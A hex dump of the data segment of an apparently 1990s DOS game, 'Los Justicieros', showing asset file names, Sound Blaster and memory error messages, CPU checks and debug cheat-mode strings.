28BA:81D0 00 00 00 00 00 00 00 71 75 69 74 2E 70 73 70 00 .......quit.psp.
28BA:81E0 6D 6F 6E 65 79 6F 75 74 2E 72 61 77 00 44 49 4E moneyout.raw.DIN
28BA:81F0 45 52 4F 31 2E 50 53 50 00 62 61 6C 61 73 6F 75 ERO1.PSP.balasou
28BA:8200 74 2E 72 61 77 00 42 41 4C 41 53 31 2E 50 53 50 t.raw.BALAS1.PSP
28BA:8210 00 73 68 6F 74 6F 75 74 2E 72 61 77 00 45 53 43 .shotout.raw.ESC
28BA:8220 4F 31 2E 50 53 50 00 72 69 66 6C 65 6F 75 74 2E O1.PSP.rifleout.
28BA:8230 72 61 77 00 52 49 46 31 2E 50 53 50 00 6D 61 70 raw.RIF1.PSP.map
28BA:8240 61 6F 75 74 2E 72 61 77 00 4D 41 50 41 31 2E 50 aout.raw.MAPA1.P
28BA:8250 53 50 00 63 68 6F 6F 73 65 2E 70 73 70 00 43 68 SP.choose.psp.Ch
28BA:8260 6F 6F 73 65 00 00 FB F7 00 DF 00 7F 00 00 FB 87 oose............
28BA:8270 00 83 00 00 00 82 00 00 00 40 06 00 A0 00 00 00 .........@......
28BA:8280 00 0A 0B 00 0D 00 0F 00 00 72 00 02 00 06 01 03 .........r......
28BA:8290 00 07 43 61 6E 6E 6F 74 20 61 73 73 69 67 6E 20 ..Cannot assign
28BA:82A0 53 6F 75 6E 64 20 63 61 72 64 20 69 6E 74 65 72 Sound card inter
28BA:82B0 72 75 70 74 00 53 6F 75 6E 64 20 63 61 72 64 20 rupt.Sound card
28BA:82C0 49 6E 74 65 72 72 75 70 74 20 6E 75 6D 62 65 72 Interrupt number
28BA:82D0 20 69 6E 20 41 75 74 6F 65 78 65 63 20 42 41 44 in Autoexec BAD
28BA:82E0 21 21 00 00 A5 11 2B 00 00 83 BA 28 0E 83 BA 28 !!....+....(...(
28BA:82F0 20 83 BA 28 32 83 BA 28 00 83 BA 28 46 83 BA 28 ..(2..(...(F..(
28BA:8300 53 6F 75 6E 64 20 42 6C 61 73 74 65 72 00 53 6F Sound Blaster.So
28BA:8310 75 6E 64 20 42 6C 61 73 74 65 72 20 50 72 6F 00 und Blaster Pro.
28BA:8320 53 6F 75 6E 64 20 42 6C 61 73 74 65 72 20 32 2E Sound Blaster 2.
28BA:8330 30 00 53 6F 75 6E 64 20 42 6C 61 73 74 65 72 20 0.Sound Blaster
28BA:8340 50 72 6F 20 32 00 53 6F 75 6E 64 20 42 6C 61 73 Pro 2.Sound Blas
28BA:8350 74 65 72 20 31 36 00 0A 0A 0A 45 52 52 4F 52 3A ter 16....ERROR:
28BA:8360 20 45 6C 20 53 6F 75 6E 64 42 6C 61 73 74 65 72 El SoundBlaster
28BA:8370 20 6E 6F 20 72 65 73 70 6F 6E 64 65 20 65 6E 20 no responde en
28BA:8380 65 6C 20 70 75 65 72 74 6F 20 25 58 68 20 0A 0A el puerto %Xh ..
28BA:8390 20 00 45 73 74 72 75 63 74 75 72 61 20 73 74 5F .Estructura st_
28BA:83A0 73 6F 75 6E 64 62 75 66 00 74 68 65 20 6D 61 73 soundbuf.the mas
28BA:83B0 74 65 72 20 73 6F 75 6E 64 20 62 75 66 66 65 72 ter sound buffer
28BA:83C0 00 73 6F 75 6E 64 20 62 75 66 66 65 72 73 00 00 .sound buffers..
28BA:83D0 00 00 00 00 00 00 74 69 6D 65 72 20 61 6E 69 6D ......timer anim
28BA:83E0 61 74 69 6F 6E 20 68 65 61 64 65 72 00 74 69 6D ation header.tim
28BA:83F0 65 72 20 61 6E 69 6D 61 74 69 6F 6E 20 6C 69 73 er animation lis
28BA:8400 74 00 00 00 2A 01 76 00 27 01 7C 00 2A 01 82 00 t...*.v.'.|.*...
28BA:8410 32 01 82 00 35 01 7C 00 32 01 76 00 2B 01 76 00 2...5.|.2.v.+.v.
28BA:8420 2B 01 79 00 2B 01 7C 00 2B 01 7F 00 2B 01 82 00 +.y.+.|.+...+...
28BA:8430 2B 01 85 00 28 01 7B 00 32 01 7B 00 00 00 07 00 +...(.{.2.{.....
28BA:8440 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:8480 00 07 00 09 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:84C0 00 00 00 00 0A 17 0D 15 10 14 13 12 16 11 19 0F ................
28BA:84D0 1C 0E 1F 0C 0D 18 11 17 15 16 19 15 1D 14 21 13 ..............!.
28BA:84E0 25 12 29 11 22 0B 26 0B 2A 0C 2C 0E 2C 10 47 41 %.).".&.*.,.,.GA
28BA:84F0 4D 45 2E 43 50 50 00 54 45 4D 50 4F 52 41 4C 2E ME.CPP.TEMPORAL.
28BA:8500 54 4D 50 00 61 74 61 75 64 2E 72 61 77 00 68 61 TMP.ataud.raw.ha
28BA:8510 6D 6D 65 72 2E 72 61 77 00 6E 61 69 6C 2E 72 61 mmer.raw.nail.ra
28BA:8520 77 00 61 74 61 75 64 31 2E 72 61 77 00 00 00 00 w.ataud1.raw....
28BA:8530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8540 54 6F 6F 20 6C 69 74 74 6C 65 20 6D 65 6D 6F 72 Too little memor
28BA:8550 79 20 74 6F 20 61 73 73 69 67 6E 20 61 20 73 6D y to assign a sm
28BA:8560 61 6C 6C 20 62 6C 6F 63 6B 00 43 69 72 63 75 6C all block.Circul
28BA:8570 61 72 20 62 75 66 66 65 72 20 6F 76 65 72 6C 6F ar buffer overlo
28BA:8580 61 64 65 64 00 00 02 00 2C 00 02 00 50 00 0E 00 aded....,...P...
28BA:8590 FA A8 BA 28 00 00 00 00 78 03 53 23 78 03 53 23 ...(....x.S#x.S#
28BA:85A0 02 00 00 00 00 00 00 00 C8 00 02 00 0C 01 13 00 ................
28BA:85B0 D6 A8 BA 28 00 00 00 00 78 03 53 23 78 03 53 23 ...(....x.S#x.S#
28BA:85C0 04 00 00 00 88 85 BA 28 01 00 01 00 14 00 14 00 .......(........
28BA:85D0 F2 A8 BA 28 00 00 00 00 78 03 53 23 78 03 53 23 ...(....x.S#x.S#
28BA:85E0 01 00 00 00 A8 85 BA 28 5E 00 02 00 C2 00 13 00 .......(^.......
28BA:85F0 DA A8 BA 28 00 00 00 00 78 03 53 23 78 03 53 23 ...(....x.S#x.S#
28BA:8600 08 00 00 00 C8 85 BA 28 2C 01 02 00 3F 01 13 00 .......(,...?...
28BA:8610 F2 A8 BA 28 00 00 00 00 78 03 53 23 78 03 53 23 ...(....x.S#x.S#
28BA:8620 00 01 00 00 E8 85 BA 28 4A 01 02 00 03 00 04 00 .......(J.......
28BA:8630 F2 A8 BA 28 00 00 00 00 78 03 53 23 78 03 53 23 ...(....x.S#x.S#
28BA:8640 10 00 00 00 08 86 BA 28 F9 00 53 00 3B 01 5D 00 .......(..S.;.].
28BA:8650 F2 A8 BA 28 00 00 00 00 4D 02 F8 23 4D 02 F8 23 ...(....M..#M..#
28BA:8660 00 00 00 00 28 86 BA 28 F9 00 0B 00 3B 01 15 00 ....(..(....;...
28BA:8670 F2 A8 BA 28 00 00 00 00 93 02 F8 23 93 02 F8 23 ...(.......#...#
28BA:8680 00 00 00 00 48 86 BA 28 4A 01 02 00 03 00 04 00 ....H..(J.......
28BA:8690 F2 A8 BA 28 00 00 00 00 78 03 53 23 78 03 53 23 ...(....x.S#x.S#
28BA:86A0 20 00 00 00 68 86 BA 28 03 00 A1 00 31 00 C5 00 ...h..(....1...
28BA:86B0 F2 A8 BA 28 00 00 00 00 44 09 53 23 44 09 53 23 ...(....D.S#D.S#
28BA:86C0 00 00 00 00 00 00 00 00 35 00 A1 00 59 00 C5 00 ........5...Y...
28BA:86D0 F2 A8 BA 28 00 00 00 00 1F 0A 53 23 1F 0A 53 23 ...(......S#..S#
28BA:86E0 00 00 00 00 A8 86 BA 28 5E 00 A1 00 8C 00 C5 00 .......(^.......
28BA:86F0 F2 A8 BA 28 00 00 00 00 84 09 53 23 84 09 53 23 ...(......S#..S#
28BA:8700 00 00 00 00 C8 86 BA 28 F7 00 72 00 21 01 94 00 .......(..r.!...
28BA:8710 F6 A8 BA 28 00 00 00 00 5C 07 53 23 5C 07 53 23 ...(....\.S#\.S#
28BA:8720 00 00 00 00 00 00 00 00 A4 00 A1 00 D2 00 C5 00 ................
28BA:8730 F2 A8 BA 28 00 00 00 00 BB 09 53 23 BB 09 53 23 ...(......S#..S#
28BA:8740 00 00 00 00 00 00 00 00 D7 00 A1 00 F7 00 C5 00 ................
28BA:8750 F2 A8 BA 28 00 00 00 00 E0 09 53 23 E0 09 53 23 ...(......S#..S#
28BA:8760 00 00 00 00 00 00 00 00 0A 00 11 00 E1 00 92 00 ................
28BA:8770 FA A8 BA 28 00 00 00 00 30 05 53 23 30 05 53 23 ...(....0.S#0.S#
28BA:8780 00 00 00 00 00 00 00 00 00 00 00 00 40 01 C8 00 ............@...
28BA:8790 F2 A8 BA 28 00 00 00 00 00 00 00 00 00 00 00 00 ...(............
28BA:87A0 00 00 00 00 00 00 00 00 00 00 00 00 04 0A 00 2A ...............*
28BA:87B0 00 00 A8 85 BA 28 00 00 00 00 00 00 00 00 00 00 .....(..........
28BA:87C0 00 00 01 10 00 13 00 00 C8 85 BA 28 00 00 00 00 ...........(....
28BA:87D0 00 00 00 00 00 00 00 00 02 0C 00 19 00 00 88 85 ................
28BA:87E0 BA 28 00 00 00 00 00 00 00 00 00 00 00 00 08 09 .(..............
28BA:87F0 00 29 00 00 E8 85 BA 28 00 00 00 00 00 00 00 00 .).....(........
28BA:8800 00 00 00 00 10 18 00 0A 00 00 28 86 BA 28 00 00 ..........(..(..
28BA:8810 00 00 00 00 00 00 00 00 00 00 20 18 00 22 00 00 .......... .."..
28BA:8820 88 86 BA 28 00 00 00 00 00 00 00 00 00 00 00 00 ...(............
28BA:8830 00 15 00 1B 00 00 08 86 BA 28 00 00 00 00 00 00 .........(......
28BA:8840 00 00 00 00 00 00 C2 87 BA 28 00 00 00 00 00 00 .........(......
28BA:8850 53 00 8C 00 00 00 00 4E 6F 74 20 65 6E 6F 75 67 S......Not enoug
28BA:8860 68 20 6D 65 6D 6F 72 79 20 66 6F 72 20 74 65 6D h memory for tem
28BA:8870 70 20 6D 61 72 63 6F 00 47 52 41 46 49 43 53 2E p marco.GRAFICS.
28BA:8880 43 50 50 00 64 00 32 00 82 00 46 00 00 00 00 00 CPP.d.2...F.....
28BA:8890 00 00 00 00 72 03 04 25 72 03 04 25 C9 00 00 00 ....r..%r..%....
28BA:88A0 00 00 00 00 48 00 46 00 6E 00 64 00 00 00 00 00 ....H.F.n.d.....
28BA:88B0 00 00 00 00 72 03 04 25 72 03 04 25 C8 00 00 00 ....r..%r..%....
28BA:88C0 00 00 00 00 3C 00 19 00 96 00 82 00 F2 A8 BA 28 ....<..........(
28BA:88D0 00 00 00 00 85 06 04 25 85 06 04 25 00 00 00 00 .......%...%....
28BA:88E0 00 00 00 00 6E 00 5A 00 8C 00 78 00 F2 A8 BA 28 ....n.Z...x....(
28BA:88F0 00 00 00 00 EA 07 04 25 EA 07 04 25 00 00 00 00 .......%...%....
28BA:8900 00 00 00 00 99 00 47 00 A8 00 65 00 F2 A8 BA 28 ......G...e....(
28BA:8910 83 02 04 25 2B 00 04 25 2B 00 04 25 00 00 00 00 ...%+..%+..%....
28BA:8920 00 00 00 00 26 00 41 00 43 00 73 00 F2 A8 BA 28 ....&.A.C.s....(
28BA:8930 83 02 04 25 01 00 04 25 01 00 04 25 00 00 00 00 ...%...%...%....
28BA:8940 00 00 00 00 6D 61 72 63 6F 32 36 2E 70 73 70 00 ....marco26.psp.
28BA:8950 54 65 6D 70 6F 72 61 72 79 20 50 41 4C 00 64 61 Temporary PAL.da
28BA:8960 64 6F 73 2E 70 73 70 00 44 69 63 65 20 63 75 72 dos.psp.Dice cur
28BA:8970 73 6F 72 00 62 61 72 61 6A 61 2E 70 73 70 00 43 sor.baraja.psp.C
28BA:8980 61 72 64 20 70 61 63 6B 20 63 75 72 73 6F 72 00 ard pack cursor.
28BA:8990 63 68 6F 6F 73 65 2E 70 73 70 00 43 68 6F 6F 73 choose.psp.Choos
28BA:89A0 65 00 53 6D 61 6C 6C 20 41 6C 6C 6F 63 61 74 69 e.Small Allocati
28BA:89B0 6F 6E 20 66 61 69 6C 75 72 65 00 6D 6F 6E 65 79 on failure.money
28BA:89C0 2E 72 61 77 00 44 49 4E 45 52 4F 31 2E 50 53 50 .raw.DINERO1.PSP
28BA:89D0 00 62 75 6C 6C 65 74 73 2E 72 61 77 00 42 41 4C .bullets.raw.BAL
28BA:89E0 41 53 31 2E 50 53 50 00 72 69 66 6C 65 2E 72 61 AS1.PSP.rifle.ra
28BA:89F0 77 00 52 49 46 31 2E 50 53 50 00 73 68 6F 74 67 w.RIF1.PSP.shotg
28BA:8A00 75 6E 2E 72 61 77 00 45 53 43 4F 31 2E 50 53 50 un.raw.ESCO1.PSP
28BA:8A10 00 6D 61 70 2E 72 61 77 00 4D 41 50 41 31 2E 50 .map.raw.MAPA1.P
28BA:8A20 53 50 00 62 6F 74 74 6C 65 2E 72 61 77 00 64 65 SP.bottle.raw.de
28BA:8A30 73 6E 75 64 61 2E 70 73 70 00 53 6D 61 6C 6C 20 snuda.psp.Small
28BA:8A40 66 69 6C 65 00 73 63 72 65 65 6D 2E 72 61 77 00 file.screem.raw.
28BA:8A50 77 6F 6E 64 65 72 2E 70 73 70 00 6F 72 67 61 73 wonder.psp.orgas
28BA:8A60 6D 6F 2E 72 61 77 00 00 2A 2E 70 73 70 00 56 69 mo.raw..*.psp.Vi
28BA:8A70 64 65 6F 20 42 75 66 66 65 72 00 72 65 76 6F 6C deo Buffer.revol
28BA:8A80 76 65 72 2E 70 73 70 00 52 65 76 6F 6C 76 65 72 ver.psp.Revolver
28BA:8A90 00 72 69 66 6C 65 2E 70 73 70 00 52 69 66 6C 65 .rifle.psp.Rifle
28BA:8AA0 00 6D 61 6E 6F 2E 70 73 70 00 48 61 6E 64 00 73 .mano.psp.Hand.s
28BA:8AB0 6D 61 67 6C 61 73 73 2E 70 73 70 00 42 6F 74 74 maglass.psp.Bott
28BA:8AC0 6C 65 00 65 73 63 6F 70 65 74 61 2E 70 73 70 00 le.escopeta.psp.
28BA:8AD0 53 68 6F 74 67 75 6E 00 6D 69 6E 69 6D 61 70 61 Shotgun.minimapa
28BA:8AE0 2E 70 73 70 00 54 72 65 61 73 75 72 65 20 4D 61 .psp.Treasure Ma
28BA:8AF0 70 00 73 6D 61 68 6F 72 73 65 2E 70 73 70 00 48 p.smahorse.psp.H
28BA:8B00 6F 72 73 65 00 66 67 75 6E 2E 72 61 77 00 55 6E orse.fgun.raw.Un
28BA:8B10 61 62 6C 65 20 74 6F 20 61 73 73 69 67 6E 20 73 able to assign s
28BA:8B20 68 6F 74 20 73 6F 75 6E 64 20 62 75 66 66 65 72 hot sound buffer
28BA:8B30 00 6B 6C 61 6B 2E 72 61 77 00 66 65 73 63 2E 72 .klak.raw.fesc.r
28BA:8B40 61 77 00 66 72 69 66 2E 72 61 77 00 6D 61 72 63 aw.frif.raw.marc
28BA:8B50 6F 2E 64 61 74 00 72 74 00 0A 55 6E 61 62 6C 65 o.dat.rt..Unable
28BA:8B60 20 74 6F 20 66 69 6E 64 20 66 69 6C 65 20 25 73 to find file %s
28BA:8B70 20 2E 2E 2E 0A 20 50 6C 65 61 73 65 20 72 75 6E .... Please run
28BA:8B80 20 53 65 74 75 70 00 0A 50 72 65 73 73 20 61 6E Setup..Press an
28BA:8B90 79 20 4B 65 79 20 74 6F 20 45 78 69 74 00 0A 0A y Key to Exit...
28BA:8BA0 45 72 72 6F 72 20 69 6E 20 61 73 73 69 67 6E 69 Error in assigni
28BA:8BB0 6E 67 20 6D 65 6D 6F 72 79 20 66 6F 72 20 74 68 ng memory for th
28BA:8BC0 65 20 00 0A 54 6F 74 61 6C 20 6D 65 6D 6F 72 79 e ..Total memory
28BA:8BD0 20 73 74 69 6C 6C 20 6E 65 65 64 65 64 20 69 73 still needed is
28BA:8BE0 20 25 75 20 00 0A 4D 65 6D 6F 72 79 20 72 65 6D %u ..Memory rem
28BA:8BF0 61 69 6E 69 6E 67 20 69 73 20 25 6C 64 00 45 72 aining is %ld.Er
28BA:8C00 72 6F 72 20 3A 2D 0A 00 25 73 0A 00 C2 FE F3 00 ror :-..%s......
28BA:8C10 C0 0B EF 0B 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8C20 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 49 00 5A .............I.Z
28BA:8C30 00 24 00 4B 00 00 00 00 00 04 00 00 00 00 00 0C .$.K............
28BA:8C40 8C BA 28 72 07 F0 00 72 0B BC 0B 72 0B BC 0B 2D ..(r...r...r...-
28BA:8C50 8C BA 28 02 3B 8C BA 28 00 00 00 00 00 0E A0 07 ..(.;..(........
28BA:8C60 0F 1F 00 00 2B DE FB 00 97 0C CE 0C 00 00 00 00 ....+...........
28BA:8C70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A0 ................
28BA:8C80 07 0F 1F 00 00 36 00 4B 00 88 00 B3 00 00 00 00 .....6.K........
28BA:8C90 00 04 00 00 00 00 00 64 8C BA 28 52 18 F8 00 4B .......d..(R...K
28BA:8CA0 0C 92 0C 4B 0C 92 0C 85 8C BA 28 02 93 8C BA 28 ...K......(....(
28BA:8CB0 00 00 00 00 00 0E A0 07 0F 1F 00 00 46 00 58 00 ............F.X.
28BA:8CC0 24 00 4B 00 00 00 00 00 04 00 35 00 48 00 8B 00 $.K.......5.H...
28BA:8CD0 B2 00 BC 8C BA 28 04 00 00 00 00 00 43 8C BA 28 .....(......C..(
28BA:8CE0 9B 8C BA 28 D4 7F EE 00 2C 0B 6F 0B 2C 0B 6F 0B ...(....,.o.,.o.
28BA:8CF0 CA 8C BA 28 03 D8 8C BA 28 00 00 00 00 04 0E A0 ...(....(.......
28BA:8D00 07 0F 1F 00 00 C2 FE F3 00 C0 0B EF 0B 00 00 00 ................
28BA:8D10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8D20 A0 07 0F 1F 00 00 00 00 00 00 05 8D BA 28 1B 83 .............(..
28BA:8D30 EF 00 6F 0B BF 0B 6F 0B BE 0B 2D 8C BA 28 02 26 ..o...o...-..(.&
28BA:8D40 8D BA 28 00 00 00 00 00 06 A0 07 0F 1F 00 00 2B ..(............+
28BA:8D50 DE FB 00 97 0C CC 0C 00 00 00 00 00 00 00 00 00 ................
28BA:8D60 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F 00 00 ................
28BA:8D70 00 00 00 00 4F 8D BA 28 52 18 F8 00 4B 0C 96 0C ....O..(R...K...
28BA:8D80 4B 0C 92 0C 85 8C BA 28 02 70 8D BA 28 00 00 00 K......(.p..(...
28BA:8D90 00 00 06 A0 07 0F 1F 00 00 00 00 00 00 2E 8D BA ................
28BA:8DA0 28 78 8D BA 28 D4 7F EE 00 2C 0B 6F 0B 2C 0B 6F (x..(....,.o.,.o
28BA:8DB0 0B CA 8C BA 28 03 99 8D BA 28 00 00 00 00 04 0E ....(....(......
28BA:8DC0 A0 07 0F 1F 00 00 A5 8D BA 28 C2 FE F3 00 C0 0B .........(......
28BA:8DD0 EF 0B 00 00 00 00 00 00 00 00 01 C6 8D BA 28 00 ..............(.
28BA:8DE0 00 00 00 00 00 A0 07 0F 1F 00 00 E4 8C BA 28 CA ..............(.
28BA:8DF0 8D BA 28 37 88 F0 00 73 0B BC 0B 73 0B BC 0B 2D ..(7...s...s...-
28BA:8E00 8C BA 28 02 EB 8D BA 28 00 00 00 00 00 0E A0 07 ..(....(........
28BA:8E10 0F 1F 00 00 A5 8D BA 28 2B DE FB 00 97 0C CE 0C .......(+.......
28BA:8E20 00 00 00 00 00 00 00 00 01 14 8E BA 28 00 00 00 ............(...
28BA:8E30 00 00 00 A0 07 0F 1F 00 00 E4 8C BA 28 18 8E BA ............(...
28BA:8E40 28 52 18 F8 00 4B 0C 92 0C 4B 0C 92 0C 85 8C BA (R...K...K......
28BA:8E50 28 02 39 8E BA 28 00 00 00 00 00 0E A0 07 0F 1F (.9..(..........
28BA:8E60 00 00 E4 8C BA 28 F3 8D BA 28 41 8E BA 28 D4 7F .....(...(A..(..
28BA:8E70 EE 00 2C 0B 6F 0B 2C 0B 6F 0B CA 8C BA 28 03 62 ..,.o.,.o....(.b
28BA:8E80 8E BA 28 00 00 00 00 04 0E A0 07 0F 1F 00 00 6E ..(............n
28BA:8E90 8E BA 28 11 BF B8 00 08 09 27 0B 00 00 00 00 00 ..(......'......
28BA:8EA0 00 00 00 01 8F 8E BA 28 00 00 00 00 00 0A A0 07 .......(........
28BA:8EB0 0F 1F 00 00 00 20 33 38 36 0A 00 00 00 00 00 00 ..... 386.......
28BA:8EC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8ED0 00 00 00 00 00 00 00 00 00 00 34 38 36 0A 00 00 ..........486...
28BA:8EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 61 ..............Ua
28BA:8F00 68 2C 20 50 65 6E 74 69 75 6D 20 21 21 0A 00 00 h, Pentium !!...
28BA:8F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8F20 00 00 47 72 65 61 74 2C 20 62 65 74 74 65 72 20 ..Great, better
28BA:8F30 74 68 61 6E 20 50 65 6E 74 69 75 6D 20 21 21 0A than Pentium !!.
28BA:8F40 00 00 00 00 00 00 47 72 65 61 74 2C 20 62 65 74 ......Great, bet
28BA:8F50 74 65 72 20 74 68 61 6E 20 50 65 6E 74 69 75 6D ter than Pentium
28BA:8F60 20 21 21 0A 00 00 00 00 00 00 F9 D7 D2 D5 DF 00 !!.............
28BA:8F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:8F90 00 00 28 06 8D 26 F7 DA C1 C2 00 00 00 00 00 00 ..(..&..........
28BA:8FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 06 ..............V.
28BA:8FC0 8D 26 F5 D4 E4 DF DE DA CF D3 E4 C8 D8 DE D5 DE .&..............
28BA:8FD0 C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:8FE0 00 00 00 00 00 00 00 00 00 00 84 06 8D 26 F8 D4 .............&..
28BA:8FF0 CC DA C9 DF 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9010 00 00 00 00 00 00 FA 06 8D 26 EE D7 CF C9 DA EB .........&......
28BA:9020 D2 C8 CF D4 D7 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9040 00 00 28 07 8D 26 F6 DE DC DA E9 D2 DD D7 DE 00 ..(..&..........
28BA:9050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 07 ..............V.
28BA:9070 8D 26 F8 C2 D9 DE C9 E8 D3 D4 CF DC CE D5 00 00 .&..............
28BA:9080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9090 00 00 00 00 00 00 00 00 00 00 84 07 8D 26 E1 D4 .............&..
28BA:90A0 D6 D9 D2 DE 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:90B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:90C0 00 00 00 00 00 00 B2 07 8D 26 EE D5 CF D4 CE D8 .........&......
28BA:90D0 D3 DA D9 D7 DE 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:90E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:90F0 00 00 3C 08 8D 26 E9 D2 D8 D3 D6 DA D5 00 00 00 ..<..&..........
28BA:9100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 07 ................
28BA:9120 8D 26 D6 DE D6 D4 00 00 00 00 00 00 00 00 00 00 .&..............
28BA:9130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:9140 00 00 00 00 00 00 00 00 00 00 0E 08 8D 26 7A 6F .............&zo
28BA:9150 72 74 6F 6E 2E 63 66 67 00 72 00 5A 6F 72 74 6F rton.cfg.r.Zorto
28BA:9160 6E 2E 63 66 67 00 25 73 00 61 74 74 6D 6F 64 2E n.cfg.%s.attmod.
28BA:9170 63 66 67 00 25 73 25 73 25 73 00 0A 20 2D 2D 2D cfg.%s%s%s.. ---
28BA:9180 20 41 54 45 4E 43 49 4F 4E 20 2D 2D 2D 0A 00 0A ATENCION ---...
28BA:9190 45 6C 20 6A 75 65 67 6F 20 64 65 20 22 4C 6F 73 El juego de "Los
28BA:91A0 20 4A 75 73 74 69 63 69 65 72 6F 73 22 20 6E 65 Justicieros" ne
28BA:91B0 63 65 73 69 74 61 20 61 6C 20 6D 65 6E 6F 73 20 cesita al menos
28BA:91C0 34 39 30 4B 20 64 65 20 6D 65 6D 6F 72 69 61 20 490K de memoria
28BA:91D0 63 6F 6E 76 65 6E 63 69 6F 6E 61 6C 0A 00 43 61 convencional..Ca
28BA:91E0 6E 20 6E 6F 74 20 6F 70 65 6E 20 56 69 64 65 6F n not open Video
28BA:91F0 20 4C 69 62 72 61 72 79 00 0A 59 6F 75 20 6E 65 Library..You ne
28BA:9200 65 64 20 61 20 33 38 36 20 6F 72 20 62 65 74 74 ed a 386 or bett
28BA:9210 65 72 20 74 6F 20 70 6C 61 79 20 74 68 69 73 20 er to play this
28BA:9220 67 61 6D 65 0A 00 0A 59 6F 75 20 6E 65 65 64 20 game...You need
28BA:9230 44 4F 53 20 33 2E 33 30 20 76 65 72 73 69 6F 6E DOS 3.30 version
28BA:9240 20 6F 72 20 62 65 74 74 65 72 20 74 6F 20 70 6C or better to pl
28BA:9250 61 79 20 74 68 69 73 20 67 61 6D 65 0A 00 66 69 ay this game..fi
28BA:9260 6E 61 6C 70 61 6C 2E 70 70 73 00 46 49 4E 41 4C nalpal.pps.FINAL
28BA:9270 50 41 4C 2E 50 50 53 00 66 69 6E 61 6C 70 61 6E PAL.PPS.finalpan
28BA:9280 2E 70 73 70 00 0A 0D 4D 6F 6E 69 74 6F 72 20 6D .psp...Monitor m
28BA:9290 6F 64 65 3A 20 20 20 2D 44 72 61 77 20 74 61 72 ode: -Draw tar
28BA:92A0 67 65 74 73 20 65 6E 61 62 6C 65 2D 00 0A 0D 4D gets enable-...M
28BA:92B0 6F 6E 69 74 6F 72 20 6D 6F 64 65 3A 20 20 20 2D onitor mode: -
28BA:92C0 57 6F 72 6B 20 70 61 79 73 20 65 6E 61 62 6C 65 Work pays enable
28BA:92D0 2D 00 0A 0A 0D 20 2D 2D 2D 2D 20 44 65 61 74 68 -.... ---- Death
28BA:92E0 20 73 63 65 6E 65 73 20 73 75 70 72 65 73 73 65 scenes supresse
28BA:92F0 64 20 2D 2D 2D 2D 0A 00 0A 0D 4D 6F 6E 69 74 6F d ----....Monito
28BA:9300 72 20 6D 6F 64 65 3A 20 20 20 2D 53 74 61 72 74 r mode: -Start
28BA:9310 20 77 69 74 68 20 25 64 20 64 6F 6C 61 72 73 2D with %d dolars-
28BA:9320 00 0A 0D 4D 6F 6E 69 74 6F 72 20 6D 6F 64 65 3A ...Monitor mode:
28BA:9330 20 20 20 2D 47 75 6E 66 69 67 68 74 73 20 73 75 -Gunfights su
28BA:9340 70 72 65 73 73 65 64 2D 00 0A 0D 4D 6F 6E 69 74 pressed-...Monit
28BA:9350 6F 72 20 6D 6F 64 65 3A 20 20 20 2D 55 6E 6C 69 or mode: -Unli
28BA:9360 6D 69 74 65 64 20 70 69 73 74 6F 6C 20 62 75 6C mited pistol bul
28BA:9370 6C 65 74 73 2D 00 0A 0D 4D 6F 6E 69 74 6F 72 20 lets-...Monitor
28BA:9380 6D 6F 64 65 3A 20 20 20 2D 55 6E 6C 69 6D 69 74 mode: -Unlimit
28BA:9390 65 64 20 72 69 66 6C 65 20 62 75 6C 6C 65 74 73 ed rifle bullets
28BA:93A0 2D 00 0A 0D 4D 6F 6E 69 74 6F 72 20 6D 6F 64 65 -...Monitor mode
28BA:93B0 3A 20 20 20 2D 55 6E 6C 69 6D 69 74 65 64 20 73 : -Unlimited s
28BA:93C0 68 6F 74 67 75 6E 20 62 75 6C 6C 65 74 73 2D 00 hotgun bullets-.
28BA:93D0 0A 0D 4D 6F 6E 69 74 6F 72 20 6D 6F 64 65 3A 20 ..Monitor mode:
28BA:93E0 20 20 2D 55 6E 6C 69 6D 69 74 65 64 20 6C 69 76 -Unlimited liv
28BA:93F0 65 73 20 73 65 6C 65 63 74 65 64 2D 00 0A 0D 4D es selected-...M
28BA:9400 6F 6E 69 74 6F 72 20 6D 6F 64 65 3A 20 20 20 2D onitor mode: -
28BA:9410 43 6F 6E 73 65 72 76 65 20 73 61 76 65 64 20 6D Conserve saved m
28BA:9420 6F 6E 65 79 2D 00 0A 0D 4D 6F 6E 69 74 6F 72 20 oney-...Monitor
28BA:9430 6D 6F 64 65 3A 20 20 20 2D 46 72 65 65 20 4D 65 mode: -Free Me
